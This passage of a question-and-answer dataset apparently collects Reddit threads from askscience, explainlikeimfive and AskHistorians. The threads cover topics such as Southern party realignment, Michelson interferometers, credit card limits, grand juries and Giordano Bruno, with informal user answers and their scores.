fundraising, and delivering patronage and projects back to their voters. Southern Democrat representatives were often long serving and thus had best chance of bringing home the bacon. Voting Republican meant getting some rookie who had no power. For lower income Southern districts, a long-time Democratic incumbent was a major source of economic activity; voting him out was a hit to the pocketbook. And those Southern Congressmen were Cold Warriors. They were aligned with conservative voters on defense and that military spending came home as bases and military contracts. \n\nWith the GOP gaining control of state legislatures, the gerrymandering effect was reversed. As the Southern economy grew, long-time incumbents bringing home the bacon became less important. The Cold War ended, so fighting the Soviets stopped being a way for a Democrat to prove he's got Southern values. \n\nSo when Southern Democrat Bill Clinton was positioned as more interested in issues like gays in the military and \"socialist\" health care, those Southern incumbents got blown away. In 1994, the \u201cSolid South\u201d that had been with the Democrats since 1865 finally shattered. For most of the period since then, there was not one white Democrat elected to Congress in the Deep South. Not one. \n\n**TL,DR The dominance of the House by Democrats from 1932 to 1994 was a function of Southerners staying Democrat because of the Civil War and the Depression and the Southern economy. Civil Rights pushed those Southern whites to the GOP. Incumbency and gerrymandering and the Cold War masked the impact for a while, but eventually, Southern whites moved as a complete block to the Republicans.** \n\nEdit: Cleaned this up a bit for readability. \n\nSeymour Martin Lipset, Party Systems and Voter Alignments \n\nRobert Caro, Master of the Senate. \n\nKuziemko and Washington, _URL_0_\n\nJohnston and Shafer. _URL_1_\n\nVO Key, Southern Politics\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://economics.yale.edu/sites/default/files/files/Faculty/washington/south-dems.pdf", "http://www.hup.harvard.edu/catalog.php?isbn=9780674032491"]]}
{"q_id": "csfsg3", "title": "How do the beam splitters in a Michelson interferometer split the light initially and then only allow 1 returning beam to reflect and the other returning beam to travel through?", "selftext": "Im not sure how the beam splitter can act as something transparent and reflective(im not talking about the initial splitting but when the light splits and it returns somehow the 2 split beams paths are altered or not altered through the beam splitter into the detector).\n\nOn another note: no light is reflected back towards the laser right?\n\nThe setup im looking at is found here: [_URL_0_](_URL_1_)\n\nEdit: I guess the original question is moot because it was based on an incorrect assumption about how the interferometer works.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/csfsg3/how_do_the_beam_splitters_in_a_michelson/", "answers": {"a_id": ["exexe3y", "exey2lo", "exf4gb2"], "score": [10, 5, 2], "text": ["I think it is reflected back to the laser as well. The description says that \"50% of the intensity of each reflected beam is transmitted/reflected towards the screen for observation\", so the other half would be transmitted back towards the laser. It's just not shown in the figure, since it's not the thing that you want to observe.\n\nApparently it's a bit more subtle than this though. \n In [this description](_URL_0_), they note that \"the beams recombine back at the beam splitter, so some of the light is directed toward the detector while some is reflected back toward the source\", but then they say that by adjusting the distances carefully, you can set up constructive/destructive interference, so that all the light ends up on the screen. I guess that's where the interference pattern comes from? Like, there would be one set of bands on the screen, and if you look at the area near the laser that should be a complementary set of bands which add up to the original light intensity?", "When you have two otherwise identical beams incident on a beamsplitter, the intensity at the two output ports depends on the relative phase of the incident beams. This is the key idea of \"light being a wave\" - you might be familiar with the double-slit where light overlaps in free space resulting in interference. A beamsplitter here is simply a method to get very good overlap between beams, which makes these interference patterns more obvious.\n\nYou can think of the Michelson interferometer in two parts. First, one beam is incident on the BS, along with vacuum on the second input port. The result is a splitting of the incident laser beam as you would normally think, with intensity going into both output ports - importantly, with a fixed relative phase (pi) at both ports. \n\nSecond, the split beams are reflected back into the BS. If they have traveled the same path length, their phase will still be fixed at a pi offset, which will result in perfect constructive interference at one of the ports (laser or screen). If the path length between the two arms is different such that you get an additional phase shift of pi, then there will be destructive interference at the original (and constructive at the other port). Changing the path length gives you interference fringes between the two ports.\n\nLight can go back into the laser depending on the relative phase.", "A beam splitter has the beam splitter one one side of a glass block in this set-up. Light going from left to right or bottom to top in the diagram must first pass through the glass before hitting the beam splitting. Since the glass, air interface is at an angle to the beam, the beam refracts according to Snell's law. Light coming from right to left or top to bottom hits the beam splitter first and can thus reflect without first traveling through the glass and refracting. However, the part of the beam that transmits through the beam splitter will still refract as it passes into and out of the glass. This bem is not shown, as it end up back at the laser (see below). There are other beam splitters which are a cube with the splitter part set at a 45 angle crossing the cube so that the beam enters the glass  perpendicular to the plane of area so it won't refract.\n\nLight does reflect back to the laser. The diagram  just isn't showing the beams that recombine and go back to the laser after reflecting off the mirrors. Let's say the beamsplitter is a 50/50 and the mirrors are 100% reflective. The laser emits some power of light, which we set to 100. When that initial beam hits the beam splitter, 50 of it is reflected to mirror 1 and 50 of it is refracted to mirror 2. Let's call these beam A and B, respectively.\n\nBeam A bounces off of mirror 1 and returns to the beamsplitter. At the beam splitter 1/2 of beam A is transmitted through to the detector and the other 1/2 reflects back to the laser, thus there is 25 of the original beam going to the detector and 25 going back to the laser. \n\nBeam B bounces off mirror 2 and returns to the beam splitter, where 1/2 of beam B is transmitted through to the the laser and 1/2 of beam B is reflected to the detector, thus there is 25 of the original beam going to the detector and 25 going back to the laser. \n\nSo 1/2 of the original beam (25 from beam A and 25 from beam B) combine at the detector, and 1/2 of the original beam combine at the laser. The numbers aren't actually correct, because some light refects at each surface of the beam splitter and the mirros also absorb some of the light, but the principle applies."]}, "title_urls": [], "selftext_urls": ["http://wanda.fiu.edu/teaching/courses/Modern\\_lab\\_manual/michelson.html", "http://wanda.fiu.edu/teaching/courses/Modern_lab_manual/michelson.html"], "answers_urls": [["http://pmaweb.caltech.edu/~phy003/labs/interferometryhandout5hqM1.pdf"], [], []]}
{"q_id": "env87o", "title": "why do songs that are really catchy loose their magic after a while", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/env87o/eli5_why_do_songs_that_are_really_catchy_loose/", "answers": {"a_id": ["fe5l0vg"], "score": [2], "text": ["Because you get bored?\n\nThe same way that you get bored of anything. That movie that blew your mind the first time you saw it, you loved it the 2nd through 9th time, by the 10th time you'll still appreciate the movie, but you're not gonna be blown away.\n\nThat delicious pasta you made. On Monday you couldn't get enough of it.. but have it every dinner for 2 weeks and you'll still appreciate that it's good, but you're not gonna be drooling over it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7aqiix", "title": "how come in plenty of markets, it seems like we always end up with a handful of major players, but for cars, you still have dozens of brands from many countries that compete against each other?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7aqiix/eli5_how_come_in_plenty_of_markets_it_seems_like/", "answers": {"a_id": ["dpbzw8m", "dpbzz9a", "dpc03oi", "dpc117h", "dpc1h9q", "dpc5tan", "dpd0ocm"], "score": [3, 33, 29, 5, 865, 3, 2], "text": ["I would say that's relative, the automotive industry for a while was just a handful of players and while international trading has made it seem like there is a lot of choice, if you look back on the history of the industry, lots of other companies have folded or been absorbed into the companies you know today. ", "There are plenty of markets with wide competition. Cell phones, for example. People talk about Android vs iPhone vs Windows vs Blackberry, but both Android and Windows (especially Android) have multiple manufacturers competing with each other.\n\nMotorola, LG, Samsung, Lumia, ZTE, and more.\n\nComputers work the same way, with \"PC\" encompassing dozens of manufacturers from Dell to HP to Alienware\n\nIn fact, I can think of more industries that have a lot of competition than ones with only a little.", "Only a few industries are limited to a small number of major players. Typically this happens because of *network effects* where you're better off having the same brand as other people -- for example computer operating systems, where you want lots of apps to work on your computer. Sometimes it happens from *economies of scale* -- it's easier for one company to run 20 supermarkets in the same city than for 20 companies to each run 1.\n\nMost industries that have a large number of consumers also have a large number of companies as suppliers.", "I drove a truck for a very short time. But I noticed. Many many loads were finished bulky items. You haul a lot of pipe. Then there were dense loads, sheets of metal used to make pipe. Not as many loads.  \n\n A car is a bulky item, lots of air inside. You have to be careful with it when shipping. You cannot pack it tight like you do sheet metal. All Japanese cars used to come from Japan, a long ocean trip. Now many of them are made in the USA. \n\nA car is many components made a lot of places. Once assembled it is more difficult to ship than the components. There is a lot of advantage to having multiple assembly points around the world. Other things can be built in one place and shipped easily.\n\nThere used to be a method for deciding where to put a factory. The weight of all the components would be determined. On a flat map a pin would be placed at the source of each component. A comparable weight of washers would be tied together and strung from the pin. A string from that weight would be tied from the point of origin of the resource. All the strings would be tied together. The center of the strings would be where the factory should be located for the least cost of shipping. \n\nIn other words a steel plant would be located between the source of coal, the source of the iron ore, and the destination of the steel. Exactly where depends on the weight or amount of each component.\n\nNow steel is made with electricity and steel plants are near waterways with barges.", "Excluding specialty and high-end companies, there aren't really dozens of independent car brands. Most of them are owned by a few [large conglomerates](_URL_0_). Volkswagen, GM, and FCA all own 10 or more brands. \n\nAnd there are a lot of other partial ownerships. FCA owns 90% of Ferrari. Nissan owns 34% of Mitsubishi and Renault owns 43% of Nissan. ", "Alot of car companies are under an umbrella.\n[article] (_URL_0_) ", "Making cars have a high BARRIER TO ENTER the market. You have to build hundreds of millions of dollars in infrastructure to start building cars.\n\nYou would need PRODUCT DIFFERENTIATION to give consumers a reason to buy your car and not a cheaper rival.\n\nAn anomaly is Tesla Motors. Elon Musk is a modern Henry Ford. Teslas are cool. But you don't see many Teslas on the road. Gas is cheap in America. The Toyota Prius is a green car from an established brand. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Automotive_industry#Top_vehicle_manufacturing_groups_by_volume"], ["http://www.monitor.co.ug/Business/Auto/Who-owns-what-in-the-auto-industry-/688614-2272688-jc9mq8z/index.html"], []]}
{"q_id": "1fbcpf", "title": "If my mother's father had severe schizophrenia, what are the odds (strictly genetically) that I will have it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fbcpf/if_my_mothers_father_had_severe_schizophrenia/", "answers": {"a_id": ["ca8lj3z", "ca8ll98"], "score": [7, 4], "text": ["* Average is 1%\n* One parent is 12%\n* Both parents 36%\n* One grandparent is 4%\n* Sibling 50%\n* Aunt/Uncle 3%", "Concordance rate in monozygotic twins is 40%, and in first degree relatives, about 6.5%.   [Link](_URL_0_).\n\nYour mother's father would be a second degree relative, so I would expect the concordance rate to be even lower."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1914490/"]]}
{"q_id": "1bjwb7", "title": "credit limit", "selftext": "Credit card limit.\n\nI know it's stupid cause I'm actually tweny five and I should know, but..alas, I don't..just got my first credit card\n\nI have a credit limit of 1000 $.\n\nI don't know what it means.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bjwb7/eli5_credit_limit/", "answers": {"a_id": ["c97b9u9", "c97bbzi", "c97bc21", "c97bdk0", "c97gv1c"], "score": [2, 2, 2, 2, 2], "text": ["When you buy something with a credit card, the bank that gave you the card pays for it, and you're in debt that amount until you pay it back. Your credit limit is the maximum amount of debt they'll cover for you before they start rejecting your purchases. Pay off some of the debt, and you can use it again.", "The money on the Credit Card isn't actually *yours*. It's the bank's. That's why you have to make repayments on it, because they're just letting you *borrow* the money for a period of time.\n\nThe \"limit\" is simply how much they *trust* you to borrow at any given point. Since you've never had a credit card before, you don't have a history for them to look at, so they don't know if you're a reliable spender or not. Because of this uncertainty, they don't want to take a big risk on you. If they let you spend $75,000 and you never paid it back, they'd have made a huge mistake. So they start out by only giving you $1000.\n\nAs you get more history, and demonstrate your ability to pay it back, they will increase the limit so you can borrow more and more.\n\nPro-tip: **don't** increase your limit if you can help it. This is how people slowly get sucked in to spending more than they can actually afford.", "It isn't a stupid question.  It's far better to learn about here than to learn it the hard way.\n\nThe credit card company will loan you up to $1000.  Every purchase you make on the card results in the credit card company giving the seller money on your behalf with the understanding that you'll pay them back when the bill comes.  If the amount you're borrowing exceeds $1000 they will either deny the purchase, charge you an overage fee, or both.  This sucks a ton, so don't ever do it.\n\nPlease pay your credit card bill **in full** every month.  That way you'll avoid paying interest and you'll make sure to avoid that credit limit.\n\nIn about a year, if you've been good about avoiding fees you can call or email the credit card company and ask them to raise the credit limit. ", "It means that you can only use the credit card to amass a total debt of $1000 at any one time. Then you have to pay off some/all of it (hopefully all).   \n   \nIf you walk into the BMW dealer and try to buy a car with your credit card, the transaction will be rejected.  Unless you've found a BMW that costs less than $1000.    \n  \nA credit card is just a convenient way to borrow money. You can do it in smaller chunks, or the whole $1000 in one blaze of glory. But no matter how much you borrow, *you have to pay it back*. And if you don't pay back everything you've borrowed (as shown on that month's statement), you have to pay interest also.  A lot.  \n   \nYou can end up paying a lot more than $1000.  Here's how to do that: \n  \n1. Use the credit card to run up $1000 worth of debt.  \n2. When the bill comes, either don't pay it, or just pay the minimum. The credit card company will deduct what you've paid, but then charge you an exorbitant interest rate on the unpaid balance. Plus late fees if you didn't pay the minimum on time. Plus whatever else they can figure out to charge you for.  Consider it a stupidity tax, and you're in the highest bracket.    \n3. Repeat.  \n  \nIf, however, each month you pay off your bill in full, on time, you generally will incur no extra charges. You still have to pay for the stuff you bought, but you don't have to pay anything extra. **DO THIS.** ", "A credit card is, basically, a short-term loan; every time you use it to buy something, the card issuer pays the seller immediately and expects you to pay them back later.  So, you're spending their money, right?  Any bank/company/store that issues credit cards basically looks at your application and asks two questions:\n\n1) \"Can we trust this guy to pay us back?\"\n\n2) \"How much of our money can we let this guy spend before paying us back at least some of it?\"\n\nIf the answer to #1 is \"yes,\" they'll give you a credit card.\n\nThe answer to #2 is the dollar amount of the credit card limit.  \n\nIf your card has a credit limit of $1000, that means that you can buy up to $1000 worth of stuff with the card (in other words, with their money) before repaying any of it.  Now, most credit cards won't make you pay it all back at once (ALTHOUGH YOU SHOULD PAY YOUR CREDIT CARD BILL IN FULL WHENEVER POSSIBLE), so this \"credit card limit\" is the maximum amount you can owe the card issuer at any one time.\n\nIf your limit is $1000 and you spend $800 the first month without paying any of it back, you only have $200 of credit \"avaialble\" on the card. ($1000-$800=$200)  \n\nIf you spend $800 but only pay $300 on the bill, you have $500 credit available.  ($1000-$800+$300 = $500)\n\nIf you spend $800 but pay the bill in full, you have $1000 credit available. ($1000-$800+$800 = $1000)\n\nNow, you said that this was your first credit card.  Well, when you apply to other banks/companies/stores for credit cards or loans, they're going to look at your 'credit report' to see how well you did with THIS credit card.  That's why it's so important to pay your credit card bills on time, and to pay them in full whenever possible.  That shows that you're a \"good risk\" because you pay what you owe on time; if you do that, your 'credit score' will improve, and other businesses/banks will be willing to give you more credit.  By the same token, being late with payments will show up on your 'credit report' as well; that will make you look like a \"bad risk,\" and getting other credit cards and/or loans will be more difficult for you.\n\nIt would be a good idea to get a copy of your credit report now (to make sure the information is accurate) and to check it yearly.  By US law, the three national credit reporting companies are required to give you one free copy of your credit report every 12 months.  [Here are the details on how to get copies of your credit reports](_URL_0_) - do NOT trust any of the places you see advertising \"free credit reports\" on TV or online."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.consumer.ftc.gov/articles/0155-free-credit-reports"]]}
{"q_id": "bbefl7", "title": "how did hell become so tied to burning and fire? why is there this almost unanimous depiction of eternal hellfire and not many icy, frozen-over hells?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bbefl7/eli5_how_did_hell_become_so_tied_to_burning_and/", "answers": {"a_id": ["eki8mcb", "eki8rjz", "ekiawja", "ekiaxl5", "ekiedet", "ekiszcb"], "score": [27, 20, 4, 2, 6, 4], "text": ["In the bible Hell is called the lake of fire.  There are other torments described in Hell but it is mainly fire that never goes out.  Gehenna\u00a0from the Greek refers to the \"Valley of Hinnom\", which was a garbage dump just outside of Jerusalem. It was a place where people burned their garbage and there was always a fire burning there.", "Probably the most famous depiction of Hell is the Divine Comedy, there\u2019s a lot of ice there.", "various cultures had icy \"hell\" but its mostly because the divine comedy was mainstream to christian audience and christianity was mainstream religion (at least when you consider ideas and laws implemented in cultures around the world by colonizers)", "It probably has the most to do with fire being ever present in people's daily life. It's obvious destructive properties and dangerous implication make it an easy metaphor for pain and torment. Anyone who's been burnt knows its one of the most painful things a person can experience as the severed nerves are constantly being agitated during the healing process. It's also how people disposed of the dead when horrible tragedies occurred like plagues.", "After the fall of Rome the catholic church became progressively more focused upon acquiring wealth. Early on it was tithes and donations but as time went on the idea of buying your way out of heaven became popular among the wealthy. This gave way to what where called indulgences, basically a fee you could pay to expedite the purgatory process before entering heaven. A group of cardinals saw they where making good money but as greed so often does they felt compelled to see if they could make more money so they started passion plays. These plays described the horrors one would face in purgatory,    This is where many of the characters we know today as vdemons (in western society) got names and faces ie the red devil, swarms of pitchfork wielding creatons and pig faced devils. These plays would go hard on the terrors in hell but good news! You can just buy your way out. As theatre progressed over the centuries many motiefs where preserved and acclimated into television and media.", "Interestingly,  the original words in the Bible that the pagan church leaders later translated to hell meant grave.  The dirt, 6 feet under, dead.  Nothing else.  But when the church went all corrupt in their teachings and wanted to include more and more pagan teachings because it\u2019s popular (still happening today) then you ended up with teachings like the immortal soul and thus hell which is convenient so you can scare your follows into never leaving or speaking out against the church."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "6aahfz", "title": "the grand jury subpoenas.", "selftext": "I don't understand much about politics and even less the legal system. What does this mean? Why is it happening? What will this change in the grand scheme of things? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6aahfz/eli5_the_grand_jury_subpoenas/", "answers": {"a_id": ["dhd0qf5", "dhd1eco", "dhd1nqo", "dhd2pqq", "dhd5bgi", "dhdgjbm"], "score": [104, 61, 13, 3, 11, 3], "text": ["A grand jury hears the available evidence and decides if it's even plausible that a conviction can be reached.   They then decide if it's worth going forward with a prosecution  &  deeper investigation.\n\nThey don't decide decide guilt, they just decide if it makes sense to issue a formal indictment or whether the proceedings should be dropped because they'd be a waste of everyone's time  &  do nothing but harass the defendant. .", "The grand jury subpoenas show that a grand jury has been assembled to consider potential criminal charges. This is significant because it tells us that the justice department is pursuing criminal charges. \n\nThe subpoena itself just requires people to show up to testify before the grand jury. Grand juries are assembled in secret and they cannot talk about the cases presented to them. But when people reveal they have been subpoenaed to appear before a grand jury, it reveals the fact that a grand jury has been assembled.\n\nAs another commenter had said, grand juries do not determine guilt or innocence, only whether there is probably cause to charge someone with a crime. The Fifth Amendment to the US constitution requires convening a grand jury before charging someone for a capital or other infamous crime.", "To add to what was already said, the fact a federal prosecutor has decided to convene a grand jury shows \n\n1) They have decided they have enough evidence for the prosecution of the case \n\n2) The evidence in question (business records from associates of former National Security Advisor Michael Flynn) could reveal a network of evidence beyond Flynn. \n\n3) If other individuals or organizations appear on the records associated with Flynn acting as a foreign agent, the grand jury can decide to expand the scope of the subpoena to include such entities. ", "The Grand Jury sits around and decides \"there is (not) enough evidence now, so we recommend (not) looking for more evidence\" \n\nYou can see how this can sometimes not go very well.", "This is a response I posted earlier to a question in reference to the CNN article about this:\n\nThe issue is that these subpoenas may or may not compel testimony that creates links from Flynn's personal contacts with Russian officials to potential instruction from Trump himself for Flynn to do so, at which point the proverbial can of worms would go from slightly open to the worms eating Trump's shit.\n\nWe likely won't know what these witnesses testify to, due to grand jury secrecy, but it has the potential to be very bad for Trump or to be inconsequential for him. (That testimony being inconsequential for Trump would not in and of itself vindicate him. It would simply mean that there was no evidence against him in that testimony.)\n\nI suspect that even if they reveal that they were aware of Flynn being instructed by Trump to collide with Russia, that would be considered hearsay if/when it ever reaches trial. \n\nIf they testify to the grand jury that Flynn said he was instructed by Trump, Flynn would then be subpoenaed (likely to happen anyway - The target of an investigation is frequently the last person subpoenaed by a grand jury.), and his testimony, at that point, could potentially be damaging to Trump. \n\nIt COULD generate more leads for the grand jury to follow, and aside from that, the acknowledgment that a grand jury exists signifies that law enforcement officials at the FBI and DOJ believe a crime has been committed. \n\nSo yes, any excitement is likely premature, but this does mark an evolution in the overall investigation of collusion between the Trump campaign and Russia.\n\n(Edit: spaces between paragraphs)", "1.) federal grand juries are composed of citizens from the district in which they are convened, just like trial juries.\n\n2.) federal grand juries sit for many weeks and have dozens of cases brought before them.\n\n3.) a grand jury subpoena carries the full authority of the united states and failure to comply is contempt, and results in u.s. marshals dragging you before the grand jury.\n\n4.) if a grand jury is being used to gather evidence, a federal prosecutor believes there is a good possibility of conviction.  they do not waste the grand jury's time on bullshit.\n\n5.) a grand jury subpoena can be used to demand documents or testimony.  \n\n6.) grand juries involve only the witness, prosecutor, and grand jury.  no judge is involved, nor is there any defense counsel (what is there to defend? there are no charges yet, just an investigation)\n \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "200uo6", "title": "How accurate is Cosmos' story of Giordano Bruno?", "selftext": "The premiere of Cosmos tonight told the story of Giordano Bruno, who was allegedly put to death by the Catholic Church for believing in an infinite universe. However. it briefly mentions that he rejected several key Catholic beliefs, such as the divinty of Jesus. So what was he *really* executed for?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/200uo6/how_accurate_is_cosmos_story_of_giordano_bruno/", "answers": {"a_id": ["cfyuad7", "cfz39gl", "cfza3o8"], "score": [95, 15, 21], "text": ["It's a bit rubbish really. The Jesuit professor in charge of the case against Bruno (Robert Bellarmine) drew up a list of accusations, but this doesn't exist anymore so we have to work on subsidiary information found in Bruno's works and Bellarmine's own notes, rather than the actual trial documents.\n\nAngelo Mercati is the man who found and published the documents surrounding the trial and subsequent condemnation, and in his view, Bruno's crimes were completely of a religious nature - his view of the cosmos isn't important to the trial proceedings from a scientific perspective because it's not science - it's religious, as Bruno denies the virginity of Mary, the divinity of Christ and a number of other heterodox positions. It was religious in Bruno's eyes too, and therefore the Catholic church felt justified because he was holding a heterodox position. To classify it as 'science' is to anachronistically reclassify something which it wasn't. Here's a quote from Bruno about the sun:\n\n >  The cause of such [motion of the earth] is the renewal and rebirth of this body, which cannot last forever under the same disposition. Just as things which cannot last forever through the species (speaking in common terms) endure through the species, substances which cannot perpetuate themselves under the same countenance do so by changing their configuration.\n\nSpot the great amount of scientific thought going on there.\n\nNicholas of Cusa and William Vorilong both argue for the plurality of worlds well before Bruno, so it's hard to see that as a problem, and Cusa was made a cardinal after he wrote about this in *De Docta Ignorantia* (1440). Bruno does the same, but then starts giving souls to the stars, meteors, planets and the universe - a much more radical theological departure, and probably the root of his heresy charge in this matter.", "De Grassi Tyson seems pretty resistant to modern takes (aka non-hagiographies) on the history of science in general. See _URL_1_ and _URL_0_ for more discussion of how some people in the history of science community have been trying to catch him up, with little success to date.\n \nIn a lot of ways, he seems interested in science cheerleading most of all, which is a disservice in a lot of ways. Build something up as perfect and otherworldy, and the first human correction or error makes the whole thing crumble. Accept from the start that science is a social, human enterprise - and that doesn't make it 'better' or 'worse,' it just is what it is - and you won't have quite so many people thinking climate change is all a conspiracy because actual human scientists have come to conclusions by means other than absolute and unwavering rationality and apolitical meritocracy.", "Came here from /r/Catholicism, but I keep hearing all this stuff about Bruno.  I was curious, so I dug in, and concluded that he was right only in the sense of a stopped clock being right twice per day.\n\nSo far as I can tell, Bruno was an *astrologer,* not an astronomer, one who spent much of his time writing treatises on \"magic\" (incl. *De Magia* (On Magic), *Theses de Magia* (Theses on Magic), *De Vinculis in Genere* (Of Bonding in General), and *De Magia Mathematica* (Of Mathematical Magic)). He believed demons caused disease and had a penchant for worshiping Egyptian gods.  Not saying that burning people at the stake was a good thing, but IMO what Bruno was doing was [pseudoscience](_URL_0_), focusing on [magic and the occult](_URL_1_), and I've never understood why self-proclaimed skeptics have such a thing for him.  To be honest, from what little of him I've read, I have no idea how he came up with the idea of an infinite universe.  It certainly wasn't based on scientific observation.  Have I missed something?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.trueanomalies.com/want-to-know-more-about-giordano-bruno/", "http://blogs.scientificamerican.com/cross-check/2014/03/07/neil-degrasse-tyson-please-speak-out-about-militarization-of-science/"], ["http://www.renaissanceastrology.com/bruno.html", "http://www.science20.com/science_20/bruno_was_martyr_magic_not_science-115582"]]}
{"q_id": "88wznz", "title": "When a person observes light at the limits of the visible spectrum, what does the transition to UV or IR look like?", "selftext": "Does it gradually fade away or is there a point where it suddenly goes black?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/88wznz/when_a_person_observes_light_at_the_limits_of_the/", "answers": {"a_id": ["dwnwpo7", "dwnzhu9", "dwo16tm", "dwoj587", "dwp2eec"], "score": [58, 11, 7, 2, 2], "text": ["When you look at a rainbow what you see answers your question. A rainbow also contains IR (outer side) and UV light (inner side), you just dont see it. Its the same with a prism, it kinda just fades out.\n\n[See this photo](_URL_0_) (note the camera may contain some uv/ir filters) best example is to look a rainbow yourself.", "A rainbow is a good way to judge this,  but it does depend on light intensity.  You won't see the IR or UV levels when their relative intensity is less than the blue scatter background.  If you are unlucky enough to get a near IR laser in your eye you will see a red dot, but you would not see that frequency in the rainbow. \n\nOn the UV end you are more limited by what is absorbed by the rest of the eye,  but a sufficiently bright source could still be seen.  \n\nThe actually sensitivity of the rod and cone cells has been measured.  It drops off typically like 1/(wavelength - peak)^2 as you are further from the resonance, [see this for more info](_URL_0_). ", "I get that rainbows are a good way to see it, but let me ask this a different way: If I had something like a flashlight that was able to emit any frequency of light and smoothly transition between them, would I see a quick cutoff (like a rainbow), or a slow fade out? Would the apparent saturation change, or only the brightness? Abouy how quickly would it dissapear if let's say it takes 10 seconds to fade from red to violet?", "We had a powerful laser in grad school that could tune from 800nm to 900nm.  It put out  >  1W ,which is quite powerful. If it was green, it would have made a very bright spot that you couldn't directly look at, if you stuck an index card in the beam.  At 800nm, though, it would make a little red dot on the card.  What 'shade of red'?  Just plain old red, is how I would describe it. Not 'dark red' or 'maroon'.  The red you see when just the red sensors in you eye are stimulated. As you would tune it to 900nm, the hue would stay the same, but the spot would just get dimmer and dimmer. Even though the beam would burn a hole through your black tee-shirt if you weren't careful when bending over the table to adjust the optics.\n\n\nNd:Yag lasers at 1060nm are completely invisible, though, even for 10W on a white backstop in a dark room.", "Your eyes are actually reasonably sensitive to near IR but it gets swamped by visible light.\nI made a pair of goggles like these once, it's amazing to look through an extremely dark blue filter and see red.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gadgetscience.com/wp-content/uploads/prism_light_on_wall.jpg"], ["https://light-measurement.com/spectral-sensitivity-of-eye/"], [], [], ["http://www.instructables.com/id/Homemade-Infrared-Goggles!-For-Under-%2410/"]]}
{"q_id": "1m7ce8", "title": "deontology and teleology", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m7ce8/eli5_deontology_and_teleology/", "answers": {"a_id": ["cc6i36d"], "score": [3], "text": ["I can't say much for deontology, but as for teleology:\nTeleology is the idea that humans will give everything or feel the need to give everything in existance a use or purpose. \n\nThe way it was explained to me, was the example of a child asking questions, and finding out their own answers (regardless of the truth)\n\nExample: Point at a cloud and ask a child why it's there. They may say something along the lines of \"Because the sky is too blue\" or \"because the mountains need friends\"\n\nThe real reason for the cloud being there is simply because **that's where it has drifted to**, or better yet because **there really isnt a REASON**. It just is.\n\nI actually struggle with this quite a bit myself. I'm an atheist, and I believe that human kind as a whole, never has had a purpose of being here, we come and go like a storm, we leave behind our footstep, but we will be extinct as a species given an inifinite amount of time. \nThis thought is very depressing to me, and actually causes me lots of grief because it's much for comforting having a purpose in life. \n\nTL;DR giving something a purpose for the hell of it = Teleology.\n\nSorry I don't know more about deontology"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7tiv2h", "title": "Can one biome turn into another naturally? If so, what specific things can turn one into another?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7tiv2h/can_one_biome_turn_into_another_naturally_if_so/", "answers": {"a_id": ["dtddysi"], "score": [3], "text": ["Just change biome settings.\n\nAhem. Yes, they can. Things like new river pathways, new mountains, or new valleys, as well as volcanos can change the climate of the region to a certain degree. Of course, it takes many thousands of years..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6dan78", "title": "how can france implement a new president in a matter of days when transition in the u.s. takes months?", "selftext": "Here in the U.S., transition is a huge deal, cabinet members need appointing, etc., but Emmanuel Macron just won an election and within days he was the active president. How is a transition like that managed so quickly? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6dan78/eli5_how_can_france_implement_a_new_president_in/", "answers": {"a_id": ["di16nck", "di16r3g", "di1amwu", "di276m4"], "score": [2, 30, 4, 2], "text": ["From what I can scrounge, it's because the POTUS has to choose the cabinet members, and congress, which has to get together formally, has to approve those cabinet members. In other countries, that's not the case. But I don't know about France specifically.\n\nTL;DR: Because of the U.S.'s system of spread power between government branches, the POTUS transition is long compared to other countries.", "For one thing, the two jobs aren't exactly comparable: France has a semi-presidential system, with a President and a Prime Minister. The Prime Minister is the one that does most of the day-to-day stuff and is responsible for recommending cabinet ministers to the President.\n\nIn the US, both of those jobs are combined into one office, so the American president has a lot more on his plate.\n\nAlso, the Constitution says that Jan 20 is the inauguration day. There simply isn't much interest in changing that, though it probably could be moved up without issue.", "It comes from the 1770s when the fastest mode of travel was by horse on dirt roads. The only time its even been touched was the 30s, when they moved the inauguration from march to January ", "So it it's interesting, this most recent US election and cabinet appointments is taking longer than most others in recent history. [This](_URL_0_) article from 2001 goes over past presidents and their cabinet selections. It's worth noting that Nixon had his cabinet ready that they were ready to go right after his inauguration. William Henry Harrison is not included on that list, but he had a full cabinet and he died a month after his inauguration. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.brookings.edu/articles/first-impressions-a-look-back-at-five-presidential-transitions/"]]}
